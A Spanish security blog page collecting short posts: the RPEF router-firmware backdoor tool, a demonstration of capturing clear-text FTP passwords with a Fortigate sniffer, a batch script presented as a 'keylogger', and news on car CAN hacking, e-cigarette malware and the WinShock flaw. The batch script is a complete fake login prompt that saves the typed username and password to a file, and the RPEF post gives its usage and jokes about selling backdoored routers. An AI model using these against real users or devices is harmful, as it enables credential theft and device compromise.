RPEF: la herramienta para backdoorizar routers domésticos

Estándar

Seguro que todavía resuenan en vuestros oídos noticias sobre la presencia de backdoors en muchos modelos de routers. D-Link, Netis, Netgear, Linksys, Belkin, TRENDnet, MediaLink, Sercomm … la lista es muy larga.

Si tu también quieres hacerte el “chino” y vender en eBay tu viejo router con un regalo sorpresa añadido (es broma, no seais malos), puedes usar RPEF…

En la Defcon 20, Michael Coppola presentó una herramienta en Python llamada RPEF (Router Post-Exploitation Framework) con la que automatiza el proceso para añadir un backdoor en un buen número de firmwares para distintos modelos de routers SOHO:

– Belkin: F5D7230-4_v1xxx
– D-Link: DIR-601_1.01NA y DIR-601_2.01NA
– Linksys: WRT120N_1.0.07_(Build_02)
– NETGEAR: WGR614v10_1.0.2.26NA, WGR614v9_1.2.30NA, WNDR3700v1_1.0.16.98NA, WNDR3700v2_1.0.0.12 y WNR1000v3_1.0.2.26NA
– TRENDnet: TEW-651BR_v2.2R_2.00B12 y  TEW-652BRP_v3.2R_3.00B13

La sintaxis básica del script (python 2.6) es: 

./rpef.py <firmware image> <output file> <payload>
 
Una vez que el firmware malicioso está actualizado/instalado y funcionando en el router, el atacante tendrá a su disposición un sniffer de red desde la línea de comandos o un bot que se puede conectar a un canal IRC especificado para lanzar una herramienta DDoS… interesante ¿verdad?

Página del proyecto: https://github.com/mncoppola/rpef

Capturando credenciales en claro mediante un firewall Fortigate

Estándar

En este mundillo estamos cansados de repetir que se sustituya FTP y telnet por sus respectivos equivalente seguros: SCP, FTPS, SFTP, SSH… pero después de tantos años se siguen utilizando 😦

Hoy vamos a hacer una pequeña demostración de la inseguridad del uso de estos protocolos no cifrados capturando tráfico mediante un firewall y obteniendo las contraseñas en claro.

En la vida real el firewall podría ser la máquina de un atacante, el cuál tendría la misma facilidad para robar credenciales simplemente esnifando el tráfico en un nodo que está en medio del camino de nuestra conexión cliente-servidor. Y no sólo el atacante podría ser una persona hábil que ha envenenado ARP y ha conseguido hacer un MiTM… en este gran entramado que es Internet, un ISP o hasta el administrador de red de una empresa podría estar vigilando…

Para nuestro escenario concreto el firewall será un Fortigate. Estos cacharros tienen una gran variedad de comandos de diagnóstico. Permiten depurar aplicaciones comunes (ike, sslvpn, urlfilter…), el proceso de flujo de paquetes e incluso activar un sniffer bastante decente que arroja una salida muy similar a la de tcpdump (será un fork?). La sintaxis del comando es la siguiente:

# diag sniffer packet <interfaz> <‘filtro’> <verbose> <contador> a

Veamos primero un ejemplo sencillo:

# diag sniffer packet internal 'src host 192.168.0.130 and dst host 192.168.0.1' 1

192.168.0.130.3426 -> 192.168.0.1.80: syn 1325244087
192.168.0.1.80 -> 192.168.0.130.3426: syn 3483111189 ack 1325244088
192.168.0.130.3426 -> 192.168.0.1.80: ack 3483111190
192.168.0.130.3426 -> 192.168.0.1.80: psh 1325244088 ack 3483111190
192.168.0.1.80 -> 192.168.0.130.3426: ack 1325244686
192.168.0.130.1035 -> 192.168.0.1.53: udp 26
192.168.0.130.1035 -> 192.168.0.1.53: udp 42
192.168.0.130.1035 -> 192.168.0.1.53: udp 42
192.168.0.130 -> 192.168.0.1: icmp: echo request
192.168.0.130.3426 -> 192.168.0.1.80: psh 1325244686 ack 3483111190
192.168.0.1.80 -> 192.168.0.130.3426: ack 1325244735
192.168.0.130 -> 192.168.0.1: icmp: echo request


Y las opciones que manejamos:

– Interfaz, como su nombre indica, es el interfaz por el que se capturarán los paquetes. Podemos especificar “any” para que capture en todos los interfaces.

– El filtro puede tener también la siguiente sintaxis: ‘[[src|dst] host] [[src|dst] host] [[arp|ip|gre|esp|udp|tcp] [port_no]] [[arp|ip|gre|esp|udp|tcp] [port_no]]’

– Verbose tiene diferentes niveles:
1: muestra la cabecera de los paquetes
2: muestra la cabecera y los datos IP de los paquetes
3: muestra la cabecera y los datos ethernet de los paquetes
4: muestra la cabecera de los paquetes con el nombre de interfaz
5: muestra la cabecera y los datos IP de los paquetes con el nombre de interfaz
6: muestra la cabecera y los datos ethernet de los paquetes con el nombre de interfaz

– El contador indica el número de paquetes que se recogerán antes de parar el sniffer. Si no especificamos nada seguirá recogiendo paquetes hasta que lo paremos con CTRL+C.

– Y por último la opción “A” es para mostrar timestamps

Ahora imaginemos que queremos capturar las credenciales de un acceso FTP. Podríamos capturar las de todas las sesiones en un momento dado filtrando simplemente el puerto TCP; pero para el ejemplo supongamos que queremos capturar sólo las credenciales de un acceso a un servidor FTP específico, ftp.rediris.org con IP 130.206.1.5.

Primero, en Putty, no olvidemos capturar la salida de la sesión a un fichero de log:

Después iniciaremos el sniffer:

# diag sniffer packet any 'dst host 130.206.1.5' 6
interfaces=[any]
filters=[dst host 130.206.1.5]

Y desde un cliente ftp estándar lanzaremos la conexión:


C:\Users\vmotos\Desktop>ftp ftp.rediris.org
Conectado a zeppo.rediris.es.
220-  Bienvenido al FTP an├│nimo de RedIRIS.
220-Welcome to the RedIRIS anonymous FTP server.
220 Only anonymous FTP is allowed here
Usuario (zeppo.rediris.es:(none)): vicente
331-            RedIRIS - Red Acad├®mica y de Investigaci├│n Espa├▒ola
331-                RedIRIS - Spanish National Research Network
331-
331-           ftp://ftp.rediris.es  -=-  http://ftp.rediris.es
331-
331 Any password will work
Contraseña:
230 Any password will work

Ahora comprobareis rápidamente que el sniffer está capturando datos. Si os fijáis en el fichero de log generado aparecerá la contraseña en claro:


7.816069 123.123.123.11.19043 -> 130.206.1.5.21: psh 840580428 ack 3720924021
0x0000   0000 0000 0000 0009 0fd3 bac5 0800 4500        ..............E.
0x0010   0035 1d7b 4000 7c06 5d89 c2e0 3d0b 82ce        .5.{@.|.]...=...
0x0020   0105 4a63 0015 321a 3d4c ddc8 cb75 5018        ..Jc..2.=L...uP.
0x0030   07a1 ba58 0000 5041 5353 2070 7275 6562        ...X..PASS.prueb
0x0040   610d 0a      

Aunque si lo preferís, existe un script en perl fgt2eth.pl para exportar el fichero a formato pcap y analizarlo más claramente con Wireshark.

Primero quitamos la cabecera que nos deja putty:

=~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2014.12.04 01:35:03 =~=~=~=~=~=~=~=~=~=~=~=

Y luego lo exportamos con esta utilidad:

C:\Users\vmotos\Desktop>fgt2eth.exe
Version : 1.22 (Feb 21 2008)

Assuming OS: windows
Usage : fgt2eth.pl -in <input_file_name>

Mandatory argument are :
   -in  <input_file>     Specify the file to convert (FGT verbose 3 text file)

Optional arguments are :
   -help                 Display help only
   -version              Display script version and date
   -out <output_file>    Specify the output file (Ethereal readable)
                         By default '<input_file>.eth' is used
   -lines <lines>        Only convert the first <lines> lines
   -system <system>      Can be either linux or windows
   -debug                Turns on debug mode
      
C:\Users\vmotos\Desktop>fgt2eth.exe -i putty.log -o putty.pcap
Conversion of file putty.log phase 1 (FGT verbose 3 conversion)
Output written to putty.pcap.
Conversion of file putty.log phase 2 (windows text2pcap)
Ouput file to load in Ethereal is 'putty.pcap'

Y por último lo abrimos con Wireshark. Si queréis afinar más la búsqueda podéis usar el filtro:

(ftp.response.code == 230 || ftp.request.command == “PASS”) || (ftp.request.command == “USER”)

¡Feliz caza!

Super-cutre script para hacerse un keylogger en batch

Estándar

Algo cutre pero muy apañao… y seguro que más de uno se dará un gustazo con el batch… Xd

Se trata de un script para hacerse un keylogger *muy* básico. Simplemente crea el directorio c:\Logs y luego lanza el fichero Logger.bat con el siguiente código:

@echo off
color a
title Login
cls
echo Introduce usuario y password para poder ejecutar el programa:
echo.
echo.
cd "C:\Logs"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >> Log.txt
start calc.exe
exit

Enjoy!

Fuente: http://www.latesthackingnews.com/2014/04/09/how-to-create-a-keylogger-in-notepad/

Llega el hardware diseñado para manipular y tomar el control de cualquier coche inteligente

Estándar

Los coches modernos están entrando de lleno en la era de la Internet de las Cosas (IoT).
¿Quieres desbloquear el coche con su smartphone a través de Internet o cambiar los comandos de los botones del volante? Necesitas un poco de hardware como Carduinopara hablar con el coche…

Carduino es un dispositivo de código abierto desarrollado por el fundador de CarKnow, Josh Siegel, en los laboratorios del MIT. El proyecto nació como una simple idea para permitir a los desarrolladores crear aplicaciones que funcionan con comandos CAN (Controller Area Network). El resultado es un dispositivo que permite al propietario trabajar y cambiar las características del coche.

El dispositivo, de tamaño de una tarjeta de crédito, se conecta a un puerto de diagnóstico del automóvil y permite conectar una amplia gama de herramientas. En principio y según Siegel está diseñado para funcionar sólo para una lista blanca de comandos pero en las manos adecuadas, cualquiera puede ser un hacker de su propio coche, añadiendo, por ejemplo, asistente de aparcamiento, una cámara de vídeo o enchufar el coche en internet.

Por el momento Carduino no estará disponible hasta el próximo año pero hasta entonces existe otra alternativa basada en componentes que se pueden adquirir en cualquier casa de electrónica o tienda especializada: CAN Hacking tool.

CAN Hacking tool, de los investigadores españoles Javier Vazquez-Vidal y Alberto García Illera, fue presentado en la última BlackHat asiática  y fue puesto a prueba en cuatro vehículos diferentes (cuyos modelos no fueron revelados por razones lógicas), y entre los comandos compatibles aparecen órdenes básicas al estilo de subir y bajar los vidrios, disparar alarmas y apagar las luces, pero también hay otras más peligrosas, como activar el ABS o el freno de emergencia…

Distribuyen malware por medio de cigarrillos electrónicos

Estándar

Sí, habéis oído bien, al parecer los cigarrillos electrónicos se han convertido en el último vector de propagación de software malicioso.

A pesar de que la idea podría parecer hilarante, muchos cigarrillos electrónicos se pueden cargar a través de USB, mediante un cable especial o mediante la inserción de un extremo del cigarrillo directamente a un puerto USB.

Una entrada publicada en Reddit informó de un extraño caso que ocurrió a un ejecutivo en el que se descubrió un malware en su sistema sin identificar de inmediato su origen.

Un ejecutivo tenía una infección de malware en su ordenador desde el que no se pudo determinar el origen“, dijo el usuario de Reddit “Después de que se comprobaran todos los medios tradicionales de infección, se comenzó a buscar otras posibilidades“.

En la investigación sobre el caso se descubrió que el ejecutivo había dejado de fumar hace dos semanas y que se pasó a unos cigarrillos electrónicos hechos en China que compró en eBay a un precio unitario de tan sólo 5 dólares. Tras analizarlos pudieron determinar que venían con un malware hardcoded en el cargador y, una vez que la víctima lo conecta al ordenador, el código malicioso se comunica con el servidor C&C y descarga otro software malicioso para infectar el sistema.

El e-cigarrillo hecho en China tiene malware hardcoded en el cargador, y cuando se conecta al puerto USB de una computadora el malware llama a casa e infecta el sistema.”

De momento no hay demasiados detalles pero se considera que el caso podría ser un ataque plausible.

Grave RCE en SChannel de Windows aka #WinShock

Estándar

Hace unos días en Pastebin avisaban de que, si el viernes 14 de noviembre Micro$oft no categorizaba la vulnerabilidad MS14-066 / CVE-2014-6321 como un 0-day, se iba a publicar el exploit del llamado #WinShock o “SChannel Shenanigans”, una vulnerabilidad grave que:

– puede explotarse antes de cualquier autenticación, en métodos que se llaman al principio por muchas, muchas aplicaciones, bibliotecas y servicios.
– siempre acaba con los privilegios de SYSTEM, de forma local o remota. Un exploit para “Modo Dios” con 100% de éxito.
– puede utilizarse de varias maneras y el código defectuoso está muy expuesto. Todo, incluyendo Windows 2000 en adelante es vulnerable.
– el código heredado se ejecuta siempre. Esto significa que las protecciones modernas como EMET no funcionan.

Concretamente el problema vuelve estar en la implementación de SSL y TLS, esta vez por Microsoft que lo hace mediante Secure Channel, también conocido como Schannel, que permite la ejecución remota de código al procesar paquetes especialmente modificados.
Finalmente la vulnerabilidad fue clasificada con una criticidad de 10.0 en la escala CVSS (CVE-2014-6321) y Microsoft tuvo que publicar un workaround y una actualización crítica para solucionarlo pero, ¿parchearán todos los sistemas Windows antes de ser atacados?… es una pregunta retórica… *muac* *muac* ^_^

Go, go, empieza la carrera… podéis encontrar un gran detalle técnico en la entrada delblog BeyondTrust y, como dice el autor, “se deja como ejercicio para el lector un análisis más detallado y la explotación” 😉

pd. Impacientes, ya tenéis una PoC de Immunity Inc para Canvas